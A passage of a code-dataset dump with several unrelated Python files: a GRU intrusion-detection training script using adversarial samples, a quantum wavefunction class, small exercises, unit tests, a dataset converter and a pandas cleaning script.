x_test_re = X_test.reshape(X_test.shape[0], 1, X_test.shape[1])\n y_pred = model.predict(X_test)\n y_pred = np.array(y_pred)\n y_pred = [np.round(x) for x in y_pred]\n\n for i in range(X_test.shape[0]):\n if Y_test[i] == 1 and y_pred[i] == 1:\n correct += 1\n if Y_test[i] == 0 and y_pred[i] == 0:\n correct += 1\n cnt = X_test.shape[0]\n acc = correct / cnt\n print('Test set: Accuracy: {}/{} ({:.6f}%)\\n'.format(correct, cnt, 100. * correct / cnt))\n return acc\n\n\nepoch = 10\n\nif __name__ == '__main__':\n\n # get and process data\n # data = DataProcess()\n # x_train, y_train, x_test, y_test, x_test_21, y_test_21 = data.return_processed_data_multiclass()\n # x_train, y_train, x_test, y_test = data.return_processed_cicids_data_binary()\n\n reuse_model = False\n is_train = True\n loop_exit = False\n while not loop_exit:\n print(\"Menu:\")\n print(\"\\t1: start NIDS training\")\n print(\"\\t2: continue NIDS training\")\n print(\"\\t3: get NIDS performances\")\n c = input(\"Enter you choice: \")\n if c == '1':\n reuse_model = False\n is_train = True\n loop_exit = True\n if c == '2':\n reuse_model = True\n is_train = True\n loop_exit = True\n if c == '3':\n reuse_model = True\n is_train = False\n loop_exit = True\n\n attack_list = ['Bot', 'DDoS', 'DOS', 'Patator', 'PortScan', 'Web_Attack']\n attack_list = ['DDoS', 'Patator', 'PortScan']\n attack_name = 'Bot'\n model_list = ['MLP', 'DNN', 'RNN', 'LSTM', 'GRU']\n model_name1 = 'MLP'\n model_name = 'GRU'\n test_list = ['cheat_test', 'attack_test']\n test_name = 'cheat_test'\n m = 1\n\n model_path = \"model_record/\" + test_name + \"/\" + model_name + \"/\" + attack_name + \"/\"\n\n adv_path = \"../data/cic_2017/adver_sets/\" + test_name + \"/\" + model_name1 + \"/\" + attack_name + \"/\"\n test_s = Dataset_adv_1(adv_path + \"adver_\" + str(m) + \"_test.csv\")\n x_test, y_test = test_s.items, test_s.label\n # reshape input to be [samples, timesteps, features]\n x_test = x_test.reshape(x_test.shape[0], 1, x_test.shape[1])\n dataset_n_len = 20000\n dataset_a_len = 5\n\n if not reuse_model and is_train:\n\n for i in range(epoch):\n print(\"epoch:\", i + 1)\n if i == 0:\n train_s = Dataset(\"../data/cic_2017/data_steal/data_split/\" + attack_name + \"_train.csv\",\n start=i * dataset_n_len,\n len=dataset_n_len)\n x_train, y_train = train_s.items, train_s.label\n # print(x_train.shape)\n x_train = x_train.reshape(x_train.shape[0], 1, x_train.shape[1])\n # print(x_train.shape)\n model = my_GRU(x_train).model\n for k in range(5):\n model.fit(x_train, y_train, validation_data=(x_test, y_test), epochs=1, batch_size=32)\n save_model(model, i + 1, model_name, model_path)\n save_model(model, 0, model_name, model_path)\n elif (i > 0 and i <= 4):\n train_s = Dataset(\"../data/cic_2017/data_steal/data_split/\" + attack_name + \"_train.csv\",\n start=i * dataset_n_len,\n len=dataset_n_len)\n x_train, y_train = train_s.items, train_s.label\n x_train = x_train.reshape(x_train.shape[0], 1, x_train.shape[1])\n model = load_model(model_path + \"NIDS_\" + model_name + \".hdf5\")\n for k in range(5):\n model.fit(x_train, y_train, validation_data=(x_test, y_test), epochs=1, batch_size=32)\n save_model(model, i + 1, model_name, model_path)\n save_model(model, 0, model_name, model_path)\n else:\n train_s = Dataset_mix(\"../data/cic_2017/data_steal/data_split/\" + attack_name + \"_train.csv\",\n \"../data/cic_2017/adver_sets/\" + test_name + \"/\" + model_name + \"/\" + attack_name + \"/\" + \"adver_\" + str(\n k) + \"_train.csv\",\n p_start=(i) * dataset_n_len, p_len=dataset_n_len, n_start=(i) * dataset_a_len,\n n_len=dataset_a_len)\n x_train, y_train = train_s.items, train_s.label\n x_train = x_train.reshape(x_train.shape[0], 1, x_train.shape[1])\n model = load_model(model_path + \"NIDS_\" + model_name + \".hdf5\")\n for k in range(5):\n model.fit(x_train, y_train, validation_data=(x_test, y_test), epochs=1, batch_size=32)\n save_model(model, i + 1, model_name, model_path)\n save_model(model, 0, model_name, model_path)\n\n\n elif reuse_model and is_train:\n\n # model_name: mlp, dnn, conv, rnn, gru, lstm\n for attack_name in attack_list:\n\n print(attack_name)\n\n model = load_model('nids_source/epoch5_GRU_model.hdf5')\n model_path = \"model_record/\" + test_name + \"/\" + model_name + \"/\" + attack_name + \"/\"\n\n adv_path = \"../data/cic_2017/adver_sets/\" + test_name + \"/\" + model_name1 + \"/\" + attack_name + \"/\"\n test_s = Dataset_adv_1(adv_path + \"adver_\" + str(m) + \"_test.csv\")\n x_test, y_test = test_s.items, test_s.label\n # reshape input to be [samples, timesteps, features]\n x_test = x_test.reshape(x_test.shape[0], 1, x_test.shape[1])\n\n for j in range(5):\n train_s = Dataset_mix(\"../data/cic_2017/data_sets/1.0_train_set.csv\",\n\n \"../data/cic_2017/adver_sets/\" + test_name + \"/\" + model_name1 + \"/\" + attack_name + \"/\" + \"adver_\" + str(\n\n m) + \"_train.csv\",\n\n p_start=(j) * dataset_n_len, p_len=dataset_n_len, n_start=(j) * dataset_a_len,\n\n n_len=dataset_a_len)\n\n x_train, y_train = train_s.items, train_s.label\n\n x_train = x_train.reshape(x_train.shape[0], 1, x_train.shape[1])\n\n acc = get_test(model, x_test, y_test)\n\n model.fit(x_train, y_train, validation_data=(x_test, y_test), epochs=5, batch_size=32, shuffle=False)\n\n acc = get_test(model, x_test, y_test)\n\n save_model(model, 0, model_name)\n\n save_model(model, j + 1, model_name, model_path)\n\n else:\n c = input(\"Enter k: \")\n i = int(c)\n model = load_model(model_path + \"NIDS_\" + model_name + \".hdf5\")\n acc_min = get_test(model, x_test, y_test)\n","sub_path":"poisoning/poisoning_NIDS_GRU.py","file_name":"poisoning_NIDS_GRU.py","file_ext":"py","file_size_in_byte":8092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"443992725","text":"# Copyright 2018 PIQuIL - All Rights Reserved\n\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nimport numpy as np\nimport torch\n\nfrom qucumber.utils import cplx, unitaries\nfrom qucumber.rbm import BinaryRBM\nfrom .wavefunction import Wavefunction\n\n\nclass ComplexWavefunction(Wavefunction):\n \"\"\"Class capable of learning Wavefunctions with a non-zero phase.\n\n :param num_visible: The number of visible units, ie. the size of the system being learned.\n :type num_visible: int\n :param num_hidden: The number of hidden units in both internal RBMs. Defaults to\n the number of visible units.\n :type num_hidden: int\n :param unitary_dict: A dictionary mapping unitary names to their matrix representations.\n :type unitary_dict: dict[str, torch.Tensor]\n :param gpu: Whether to perform computations on the default gpu.\n :type gpu: bool\n \"\"\"\n\n _rbm_am = None\n _rbm_ph = None\n _device = None\n\n def __init__(self, num_visible, num_hidden=None, unitary_dict=None, gpu=True):\n self.num_visible = int(num_visible)\n self.num_hidden = int(num_hidden) if num_hidden else self.num_visible\n self.rbm_am = BinaryRBM(self.num_visible, self.num_hidden, gpu=gpu)\n self.rbm_ph = BinaryRBM(self.num_visible, self.num_hidden, gpu=gpu)\n\n self.device = self.rbm_am.device\n\n self.unitary_dict = unitary_dict if unitary_dict else unitaries.create_dict()\n self.unitary_dict = {\n k: v.to(device=self.device) for k, v in self.unitary_dict.items()\n }\n\n @property\n def networks(self):\n return [\"rbm_am\", \"rbm_ph\"]\n\n @property\n def rbm_am(self):\n return self._rbm_am\n\n @rbm_am.setter\n def rbm_am(self, new_val):\n self._rbm_am = new_val\n\n @property\n def rbm_ph(self):\n \"\"\"RBM used to learn the wavefunction phase.\"\"\"\n return self._rbm_ph\n\n @rbm_ph.setter\n def rbm_ph(self, new_val):\n self._rbm_ph = new_val\n\n @property\n def device(self):\n return self._device\n\n @device.setter\n def device(self, new_val):\n self._device = new_val\n\n def amplitude(self, v):\n r\"\"\"Compute the (unnormalized) amplitude of a given vector/matrix of visible states.\n\n .. math::\n\n \\text{amplitude}(\\bm{\\sigma})=|\\psi_{\\bm{\\lambda\\mu}}(\\bm{\\sigma})|=\n e^{-\\mathcal{E}_{\\bm{\\lambda}}(\\bm{\\sigma})/2}\n\n :param v: visible states :math:`\\bm{\\sigma}`.\n :type v: torch.Tensor\n\n :returns: Vector containing the amplitudes of the given states.\n :rtype: torch.Tensor\n \"\"\"\n return super().amplitude(v)\n\n def phase(self, v):\n r\"\"\"Compute the phase of a given vector/matrix of visible states.\n\n .. math::\n\n \\text{phase}(\\bm{\\sigma})=-\\mathcal{E}_{\\bm{\\mu}}(\\bm{\\sigma})/2\n\n :param v: visible states :math:`\\bm{\\sigma}`.\n :type v: torch.Tensor\n\n :returns: Vector containing the phases of the given states.\n :rtype: torch.Tensor\n \"\"\"\n return -0.5 * self.rbm_ph.effective_energy(v)\n\n def psi(self, v):\n r\"\"\"Compute the (unnormalized) wavefunction of a given vector/matrix of visible states.\n\n .. math::\n\n \\psi_{\\bm{\\lambda\\mu}}(\\bm{\\sigma})\n = e^{-[\\mathcal{E}_{\\bm{\\lambda}}(\\bm{\\sigma})\n + i\\mathcal{E}_{\\bm{\\mu}}(\\bm{\\sigma})]/2}\n\n :param v: visible states :math:`\\bm{\\sigma}`\n :type v: torch.Tensor\n\n :returns: Complex object containing the value of the wavefunction for\n each visible state\n :rtype: torch.Tensor\n \"\"\"\n # vectors/tensors of shape (len(v),)\n amplitude, phase = self.amplitude(v), self.phase(v)\n\n # complex vector; shape: (2, len(v))\n psi = torch.zeros(\n (2,) + amplitude.shape, dtype=torch.double, device=self.device\n )\n\n # elementwise products\n psi[0] = amplitude * phase.cos() # real part\n psi[1] = amplitude * phase.sin() # imaginary part\n\n # squeeze down to complex scalar if there was only one visible state\n return psi.squeeze()\n\n def init_gradient(self, basis, sites):\n Upsi = torch.zeros(2, dtype=torch.double, device=self.device)\n vp = torch.zeros(self.num_visible, dtype=torch.double, device=self.device)\n Us = np.array(torch.stack([self.unitary_dict[b] for b in basis[sites]]))\n rotated_grad = [\n torch.zeros(\n 2, getattr(self, net).num_pars, dtype=torch.double, device=self.device\n )\n for net in self.networks\n ]\n return Upsi, vp, Us, rotated_grad\n\n def rotated_gradient(self, basis, sites, sample):\n Upsi, vp, Us, rotated_grad = self.init_gradient(basis, sites)\n int_sample = np.array(sample[sites].round().int())\n vp = sample.round().clone()\n\n grad_size = (\n self.num_visible * self.num_hidden + self.num_hidden + self.num_visible\n )\n\n Upsi_v = torch.zeros_like(Upsi, device=self.device)\n Z = torch.zeros(grad_size, dtype=torch.double, device=self.device)\n Z2 = torch.zeros((2, grad_size), dtype=torch.double, device=self.device)\n U = torch.tensor([1., 1.], dtype=torch.double, device=self.device)\n Ut = np.zeros_like(Us[:, 0], dtype=complex)\n ints_size = np.arange(sites.size)\n\n for x in range(2 ** sites.size):\n # overwrite rotated elements\n vp = sample.round().clone()\n vp[sites] = self.subspace_vector(x, size=sites.size)\n int_vp = np.array(vp[sites].int())\n all_Us = Us[ints_size, :, int_sample, int_vp]\n\n # Gradient from the rotation\n Ut = np.prod(all_Us[:, 0] + (1j * all_Us[:, 1]))\n U[0] = Ut.real\n U[1] = Ut.imag\n\n cplx.scalar_mult(U, self.psi(vp), out=Upsi_v)\n Upsi += Upsi_v\n\n # Gradient on the current configuration\n grad_vp0 = self.rbm_am.effective_energy_gradient(vp)\n grad_vp1 = self.rbm_ph.effective_energy_gradient(vp)\n rotated_grad[0] += cplx.scalar_mult(\n Upsi_v, cplx.make_complex(grad_vp0, Z), out=Z2\n )\n rotated_grad[1] += cplx.scalar_mult(\n Upsi_v, cplx.make_complex(grad_vp1, Z), out=Z2\n )\n\n grad = [\n cplx.scalar_divide(rotated_grad[0], Upsi)[0, :], # Real\n -cplx.scalar_divide(rotated_grad[1], Upsi)[1, :], # Imaginary\n ]\n\n return grad\n\n def gradient(self, basis, sample):\n r\"\"\"Compute the gradient of a sample, measured in different bases.\n\n :param basis: A set of bases.\n :type basis: np.array\n :param sample: A sample to compute the gradient of.\n :type sample: np.array\n\n :returns: A list of 2 tensors containing the parameters of each of the\n internal RBMs.\n :rtype: list[torch.Tensor]\n \"\"\"\n basis = np.array(list(basis)) # list is silly, but works for now\n rot_sites = np.where(basis != \"Z\")[0]\n if rot_sites.size == 0:\n grad = [\n self.rbm_am.effective_energy_gradient(sample), # Real\n 0.0, # Imaginary\n ]\n else:\n grad = self.rotated_gradient(basis, rot_sites, sample)\n return grad\n\n def compute_normalization(self, space):\n r\"\"\"Compute the normalization constant of the wavefunction.\n\n .. math::\n\n Z_{\\bm{\\lambda}}=\n \\sqrt{\\sum_{\\bm{\\sigma}}|\\psi_{\\bm{\\lambda\\mu}}|^2}=\n \\sqrt{\\sum_{\\bm{\\sigma}} p_{\\bm{\\lambda}}(\\bm{\\sigma})}\n\n :param space: A rank 2 tensor of the entire visible space.\n :type space: torch.Tensor\n\n \"\"\"\n return super().compute_normalization(space)\n\n def fit(\n self,\n data,\n epochs=100,\n pos_batch_size=100,\n neg_batch_size=None,\n k=1,\n lr=1e-3,\n input_bases=None,\n progbar=False,\n starting_epoch=1,\n time=False,\n callbacks=None,\n optimizer=torch.optim.SGD,\n **kwargs\n ):\n if input_bases is None:\n raise ValueError(\n \"input_bases must be provided to train a ComplexWavefunction!\"\n )\n else:\n super().fit(\n data=data,\n epochs=epochs,\n pos_batch_size=pos_batch_size,\n neg_batch_size=neg_batch_size,\n k=k,\n lr=lr,\n input_bases=input_bases,\n progbar=progbar,\n starting_epoch=starting_epoch,\n time=time,\n callbacks=callbacks,\n optimizer=optimizer,\n **kwargs\n )\n\n def save(self, location, metadata=None):\n metadata = metadata if metadata else {}\n metadata[\"unitary_dict\"] = self.unitary_dict\n super().save(location, metadata=metadata)\n\n @staticmethod\n def autoload(location, gpu=False):\n state_dict = torch.load(location)\n wvfn = ComplexWavefunction(\n unitary_dict=state_dict[\"unitary_dict\"],\n num_visible=len(state_dict[\"rbm_am\"][\"visible_bias\"]),\n num_hidden=len(state_dict[\"rbm_am\"][\"hidden_bias\"]),\n gpu=gpu,\n )\n wvfn.load(location)\n return wvfn\n","sub_path":"qucumber/nn_states/complex_wavefunction.py","file_name":"complex_wavefunction.py","file_ext":"py","file_size_in_byte":10155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"285870749","text":"\"\"\"\nFile: testlist.py\n\nA tester program for list implementations.\n\"\"\"\n\nfrom arraylist import ArrayList\nfrom linkedlist import LinkedList\n\ndef main():\n # Create a list\n lyst = ArrayList()\n lyst.append(\"a\")\n lyst.append(\"b\")\n print(\"List contains: \", lyst)\n\n # Create a list iterator:\n listIterator = lyst.listIterator()\n \n print(\"Current cursor location: \", listIterator.cursor)\n print(\"hasNext(): \", listIterator.hasNext())\n listIterator.first()\n print(\"Current cursor location: \", listIterator.cursor)\n listIterator.next()\n print(\"Cursor location after next():\" , listIterator.cursor)\n listIterator.replace(\"c\")\n print(\"After replace: \", lyst)\n print(listIterator.next())\n print(listIterator.next())\n\n \n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"ch_9_notes/ex_9_1/assess_list.py","file_name":"assess_list.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"223887928","text":"# https://www.careercup.com/question?id=21263687\n\ndef solution(lst):\n lst = lst[:]\n for i in range(len(lst)):\n cur = lst[i]\n while cur is not None:\n idx = cur - 1\n new_cur = lst[idx]\n lst[idx] = None\n cur = new_cur\n res = []\n for i in range(len(lst)):\n if lst[i] is not None:\n res.append(i + 1)\n return res\n","sub_path":"find_missing_number.py","file_name":"find_missing_number.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"224282228","text":"from __future__ import division\n\n__author__ = 'emanuel'\n\nimport re\nimport math\n\n\nclass Node:\n def __init__(self, name, left = None, right = None, value = float('nan')):\n self.name = name\n self.left = left\n self.right = right\n self.value = value\n\n def evaluate(self, tree, dict_values):\n if self.is_leaf(tree):\n return dict_values[tree.name] if dict_values.has_key(tree.name) else float('nan')\n\n left_value = self.evaluate(tree.left, dict_values)\n right_value = self.evaluate(tree.right, dict_values)\n\n if tree.name == 'OR':\n if math.isnan(left_value) or math.isnan(right_value):\n return float('nan')\n\n else:\n return max(left_value, right_value)\n\n elif tree.name == 'AND':\n if math.isnan(left_value):\n return right_value\n\n elif math.isnan(right_value):\n return left_value\n\n else:\n return min(left_value, right_value)\n\n def get_leaf_names(self, tree):\n leaf_names = []\n\n if self.is_leaf(tree):\n return tree.name\n\n if tree.left is not None:\n leaf_names.append(self.get_leaf_names(tree.left))\n\n if tree.right is not None:\n leaf_names.append(self.get_leaf_names(tree.right))\n\n return leaf_names\n\n def set_default_value(self, tree, value):\n if tree.value is None:\n tree.value = value\n\n if tree.left is not None:\n self.set_default_value(tree.left, value)\n\n if tree.right is not None:\n self.set_default_value(tree.right, value)\n\n def set_node_value(self, tree, name, value):\n if tree.name == name:\n tree.value = value\n\n if tree.left is not None:\n self.set_node_value(tree.left, name, value)\n\n if tree.right is not None:\n self.set_node_value(tree.right, name, value)\n\n def write(self, tree, values=False):\n if tree is None:\n return ''\n\n else:\n rule = str(tree.value) if values and tree.name != 'AND' and tree.name != 'OR' else str(tree.name)\n rule = self.write(tree.left, values) + ' ' + rule + ' ' + self.write(tree.right, values)\n return rule.strip()\n\n def depth(self, tree):\n return 0 if tree is None else max(self.depth(tree.left), self.depth(tree.right)) + 1\n\n def is_leaf(self, tree):\n if tree is None:\n return False\n\n elif tree.left is None or tree.right is None:\n return True\n\n else:\n return False\n\n\ndef parse_gene_rule(rule):\n # Remove parentheses\n rule = re.sub('\\(|\\)', '', rule)\n\n # Split rule by OR\n elements = re.split('or', rule)\n\n stack, root, node = [], None, None\n\n i = 0\n while i < len(elements):\n elements[i] = re.split('and', elements[i].strip())\n\n if len(elements[i]) == 1:\n node = Node(elements[i][0].strip())\n\n else:\n node = None\n j = 1\n while j < len(elements[i]):\n if node is None:\n node = Node('AND', Node(elements[i][j - 1].strip()), Node(elements[i][j].strip()))\n else:\n node = Node('AND', Node(elements[i][j - 1]), Node(elements[i][j].strip()))\n elements[i][j] = node\n j+=1\n\n stack.append(node)\n i +=1\n\n if len(stack) == 1:\n root = stack[0]\n\n else:\n i = 1\n while i < len(stack):\n root = Node('OR', stack[i - 1], stack[i])\n stack[i] = root\n i+=1\n\n return root","sub_path":"src/pymist/gene_tree.py","file_name":"gene_tree.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"531026414","text":"case = int(input())\n\nfor _ in range(case):\n function = list(input())\n num = int(input())\n arr = eval(input())\n error = False\n R_count = 0 #홀/짝 뒤집힌 횟수용\n D_front = 0 #앞에서 없어지는 수\n \n for func in function: \n if func == 'R':\n R_count += 1\n else:\n try:\n if R_count % 2 == 0:\n D_front += 1 #앞에서는 슬라이싱으로 나중에 뺴줌\n else:\n arr.pop() #이건 뒤에서 바로 뺴줌\n except:\n error = True\n break\n \n #에러 걸러주기\n if error or D_front > len(arr):\n print('error')\n continue\n \n #R개수에 따른 정답 변형\n if R_count % 2 == 0:\n answer = arr[D_front:]\n else:\n answer = list(reversed(arr[D_front:]))\n \n #출력함수\n print(\"[\", end='')\n print(*answer,sep=',',end=\"\")\n print(\"]\")","sub_path":"19. 큐,덱/5340.py","file_name":"5340.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"313156482","text":"# Unit Tests\n__author__ = 'yun'\n\nimport unittest\nfrom unittest import mock\nimport os\nimport collections\n\nimport util\nimport word_count\nimport running_median\n\n\nclass TestWordCount(unittest.TestCase):\n def run_count_case(self, line_iter, ref):\n res = word_count.word_count_by_line(line_iter)\n self.assertEqual(len(ref), len(dict(res)))\n for word in ref:\n self.assertEqual(ref[word], res[word])\n\n def run_write_case(self, counter, results):\n output = mock.mock_open()\n with mock.patch('builtins.open', output, create=True):\n word_count.write_counter_to_file(counter, 'temp_file')\n output.assert_called_once_with('temp_file', 'w')\n\n handle = output()\n call_lines = [mock.call(result) for result in results]\n handle.write.assert_has_calls(call_lines, any_order=True)\n\n def test_word_count_by_line(self):\n self.run_count_case([], {})\n self.run_count_case(['So call a big meeting',\n 'Get everyone out out',\n 'Make every Who holler',\n 'Make every Who shout shout.'],\n {'a': 1, 'big': 1, 'call': 1, 'every': 2,\n 'everyone': 1, 'get': 1, 'holler': 1, 'make': 2,\n 'meeting': 1, 'out': 2, 'shout': 2, 'so': 1,\n 'who': 2})\n\n def test_write_counter_to_file(self):\n self.run_write_case(collections.Counter(), [])\n self.run_write_case(collections.Counter({'a': 10, 'b': 20}),\n ['a 10\\n', 'b 20\\n'])\n\n\nclass TestUtil(unittest.TestCase):\n def test_get_file_names(self):\n os.listdir = mock.MagicMock(return_value=[])\n self.assertEqual(list(util.get_file_names('any_dir')), [])\n\n os.listdir = mock.MagicMock(return_value=['file1', 'file2', 'dir1'])\n self.assertEqual(list(util.get_file_names('any_dir')), [])\n\n os.listdir = mock.MagicMock(return_value=['file1', 'file2', 'dir1'])\n os.path.isfile = mock.MagicMock(side_effect=[True, True, False])\n self.assertEqual(list(util.get_file_names('any_dir')),\n ['any_dir/file1', 'any_dir/file2'])\n\n def test_stem(self):\n self.assertEqual(util.stem('shout.'), 'shout')\n self.assertEqual(util.stem('Who'), 'who')\n self.assertEqual(util.stem('hi-lite'), 'hilite')\n self.assertEqual(util.stem('we\\'re'), 'were')\n self.assertEqual(util.stem('haven\\'t'), 'havent')\n\n\nclass TestRunningMedian(unittest.TestCase):\n def run_len_case(self, line_iter, ref):\n res = running_median.get_len_iter(line_iter)\n self.assertEqual(ref, list(res))\n\n def run_median_case(self, numbers, ref):\n median_runner = running_median.RunningMedian()\n res = []\n for number in numbers:\n median_runner.put(number)\n res.append(median_runner.get_median())\n self.assertEqual(ref, res)\n\n def test_get_len_iter(self):\n self.run_len_case([], [])\n self.run_len_case(['So call a big meeting',\n 'Get everyone out out',\n 'Make every Who holler',\n 'Make every Who shout shout.'],\n [5, 4, 4, 5])\n\n def test_running_median(self):\n self.run_median_case([], [])\n self.run_median_case([5, 4, 4, 5], [5, 4.5, 4, 4.5])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"362250613","text":"#!/usr/bin/python\n\nimport sys\n\nlogging=False\n\nclass BSM:\n def __init__(self,name,filename):\n self.name=name\n self.vars={}\n self.nodes={} #state:[cond,[actions if cond true],[actions if cond false]]\n \n with open(filename,\"r\",) as f:\n for line in f:\n if line.startswith(\"#\"):\n continue\n tokens=line.strip().replace('\"','\\\\\"').split(\",\")\n if len(tokens)<2:\n continue\n if tokens[0].startswith(\"variable(\"):\n self.vars[tokens[0][9:]]=tokens[1].rstrip(\")\")\n else :\n if tokens[0].startswith(\"node(\"):\n if len(tokens)<4:\n raise MyError(\"Short line Error in \"+filename+\":\"+line)\n state=tokens[0][5:].strip()\n cond=tokens[1]\n\n if len(tokens)>3:\n tok2=tokens[2].strip()\n else:\n tok2=tokens[2].rstrip(\")\").strip()\n \n if tok2==\"\":\n actions=[]\n else :\n actions=[token.strip() for token in tok2.split(\";\")]\n actions=\"[\"+\",\".join(['\\n \"%s\"'%a for a in actions])+\"]\"\n if state not in self.nodes:\n self.nodes[state]=[]\n self.nodes[state].append((cond,actions))\n\n def getCond(self,state):\n conds=self.nodes[state]\n return \"[\"+','.join(['\\n \"%s\",%s'%(c[0],c[1]) for c in conds])+\"]\"\n\n def getJSON(self):\n res='{\"name\":\"'+self.name+'\",\\n \"vars\":['\n res+=\",\".join(['\\n [\"%s\",\"%s\"]'%(v,self.vars[v]) for v in self.vars])\n res+='\\n ],\\n\"nodes\":['\n\n res+=','.join(['\\n [\"%s\",[%s]]'%(s,self.getCond(s)) for s in self.nodes])\n return res+\"\\n]}\"\n\ndef main(): #This is used to test the module\n# print(\"Testing Module BSM_JSON.py\")\n bsma=BSM(\"test\",\"/home/barney/Desktop/bubblNet/installation/test.bsm\")\n bsmb=BSM(\"testfire\",\"/home/barney/Desktop/bubblNet/installation/testfire.bsm\")\n print(bsma.getJSON())\n# print(bsmb.getJSON())\n \nif __name__==\"__main__\":\n main()\n\n\n","sub_path":"MosRedcentModsToInstallation/BSM_JSON.py","file_name":"BSM_JSON.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"371855","text":"#!/usr/bin/env python\n\n'''\nConverts the dorothea training/validation data from .data files into .mat\nfiles for speed of processing in Matlab\n'''\n\nimport scipy.io as sio\nimport pandas as pd\nimport os\nfrom sys import platform\n\nif __name__=='__main__':\n if platform == \"linux\" or platform == \"linux2\":\n folder = '/home/kiran/ownCloud/PhD/sim_results/feature_select_challenge/dorothea/'\n elif platform == \"darwin\":\n folder = '/Users/Kiran/ownCloud/PhD/sim_results/feature_select_challenge/dorothea/'\n elif platform == \"win32\":\n folder = 'C:\\\\Users\\\\kiran\\\\ownCloud\\\\PhD\\\\sim_results\\\\feature_select_challenge\\\\dorothea'\n\n X_train = os.path.join(folder,'dorothea_train.data')\n y_train = os.path.join(folder,'dorothea_train.labels')\n\n X_valid = os.path.join(folder,'dorothea_valid.data')\n y_valid = os.path.join(folder,'dorothea_valid.labels')\n\n X_train_df = pd.read_csv(X_train,delim_whitespace=True,header=None,error_bad_lines=False)\n y_train_df = pd.read_csv(y_train,delim_whitespace=True,header=None,error_bad_lines=False)\n X_valid_df = pd.read_csv(X_valid,delim_whitespace=True,header=None,error_bad_lines=False)\n y_valid_df = pd.read_csv(y_valid,delim_whitespace=True,header=None,error_bad_lines=False)\n\n sio.savemat(os.path.join(folder,'data.mat'), mdict={'X_train': X_train_df.values,\n 'y_train': y_train_df.values,\n 'X_valid': X_valid_df.values,\n 'y_valid': y_valid_df.values})","sub_path":"python/convertDorotheaData.py","file_name":"convertDorotheaData.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"311048449","text":"from pandas.io.json import json_normalize\nimport pandas as pd\nimport numpy as np\nimport requests\n\n\n#Merge deadpool related columns into 1 and fill blanks with NaN values.\ndef deadpooled_finder(df):\n df['deadpooled'] = df[df.columns[10:13]].apply(lambda x: ','.join(x.dropna().astype(str)),\n axis=1).replace(r'^\\s*$', np.nan, regex=True)\n return pd.concat([df, df['deadpooled']])\n\n\n#Select alive companies. If they have 'deadpoled' data I understand they are dead.\ndef alives_finder(df):\n return df[pd.isnull(df['deadpooled'])]\n\n\n# Dropping columns we no longer need.\ndef columns_drop(df, col):\n return df[[x for x in df.columns if x != col]]\n\ndef relevant_columns(df):\n return pd.DataFrame(df[['name', 'category_code', 'number_of_employees', 'offices', 'total_money_raised']])\n\ndef currency_converter(df):\n currency_type = {'C$': 'CAD',\n '$': 'USD',\n '€': 'EUR',\n '£': 'GBP',\n '¥': 'JPY',\n 'kr': 'SEK'}\n for symb, name in currency_type.items():\n if symb in df:\n return name\n\n#Deleting currency symbols.\ndef symbol_deleter(df):\n currency_type = {'C$': 'CAD',\n '$': 'USD',\n '€': 'EUR',\n '£': 'GBP',\n '¥': 'JPY',\n 'kr': 'SEK'}\n for symb, name in currency_type.items():\n if symb in df:\n return df.replace(symb, \"\")\n\n\n#Converting \"total_money_raised\" into integers.\ndef money_converter(df):\n amount_type = dict(k='E3', M='E6', B='E9')\n return pd.to_numeric(df.replace(amount_type, regex=True)).astype(float)\n\n\n#Create a dictionary with the needed exchange rates using an API to obtain real data.\ndef api_rates(url, df):\n response = requests.get(url)\n api_data = response.json()\n api_dataframe = pd.DataFrame(json_normalize(api_data))\n api_dict = {\n 'CAD':api_dataframe['rates.CAD'][0],\n 'EUR':api_dataframe['rates.EUR'][0],\n 'GBP':api_dataframe['rates.GBP'][0],\n 'JPY':api_dataframe['rates.JPY'][0],\n 'SEK':api_dataframe['rates.SEK'][0],\n 'USD':1\n }\n return pd.to_numeric(df.replace(api_dict, regex=True))\n\n\n#Standarize all valuations into one currency ($) and convert them into millions.\ndef currency_normalizator(df):\n return ((df['amount_raised']/df['currency'])/1000).round(2)\n\n\ndef dropnulls(df):\n return df[pd.notnull(df['name'])]\n\n\n#There are some companies which have >1 offices. Separate them into different rows.\ndef office_splitter(df):\n office_split = pd.DataFrame(df['offices'].tolist()).stack().reset_index(level=1, drop=True).rename('office')\n return df.merge(office_split, left_index=True, right_index=True).reset_index()\n\n# Deleting duplicates\ndef duplicates_remover(df):\n df['duplicates'] = df['office'].astype(str)\n return df.drop_duplicates('duplicates', keep = 'first')\n\n\n#I assume companies who have raised more money will pay higher income to their employees. But do not forget the number of employees is important.\ndef wealthy(df):\n wealth = pd.DataFrame((np.log(df['amount_raised_k$']).astype(str).replace('-inf','1').astype(float)*df['number_of_employees']))\n divisor = wealth.max()\n return wealth/divisor\n\n\n#Detect special type of companies which might be interesting for some purpose. i.e.:news 